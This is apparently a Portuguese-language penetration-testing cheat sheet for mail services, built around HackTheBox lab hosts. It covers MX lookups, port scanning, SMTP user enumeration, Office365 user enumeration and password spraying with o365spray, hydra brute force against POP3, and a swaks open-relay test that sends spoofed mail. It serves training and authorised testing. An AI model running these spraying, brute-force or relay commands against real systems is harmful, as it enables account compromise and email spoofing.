SMTP
Um mail server(às vezes também chamado de servidor de e-mail) é um servidor que manipula e entrega e-mails por uma rede, geralmente pela Internet.
Host - MX Records
host -t MX hackthebox.euDIG - MX Records
dig mx plaintext.do | grep "MX" | grep -v ";"Host - A Records
host -t A mail1.inlanefreight.htb.Portas comuns
Porta
Serviço
TCP/25
SMTP não criptografado
TCP/143
IMAP4 não criptografado
TCP/110
POP3 não criptografado
TCP/465
SMTP criptografado
TCP/587
SMTP criptografado/ STARTTLS
TCP/993
IMAP4 criptografado
TCP/995
POP3 criptografado
Podemos usar a opção
Nmapde script padrão do-sCpara enumerar essas portas no sistema de destino:
sudo nmap -Pn -sV -sC -p25,143,110,465,587,993,995 10.129.14.128Conecte-se ao servidor SMTP.
telnet 10.10.110.20 25Enumeração de usuários SMTP usando o comando RCPT em relação ao host especificado.
smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t 10.129.203.7Verifique o uso do Office365 para o domínio especificado.
python3 o365spray.py --validate --domain msplaintext.xyzEnumere usuários existentes usando o Office365 no domínio especificado.
python3 o365spray.py --enum -U users.txt --domain msplaintext.xyzPulverização de senhas em uma lista de usuários que usam o Office 365 para o domínio especificado.
python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyzForça bruta no serviço POP3.
hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3Testando o serviço SMTP para a vulnerabilidade de retransmissão aberta.
swaks --from notifications@inlanefreight.com --to employees@inlanefreight.com --header 'Subject: Notification' --body 'Message' --server 10.10.11.213Last updated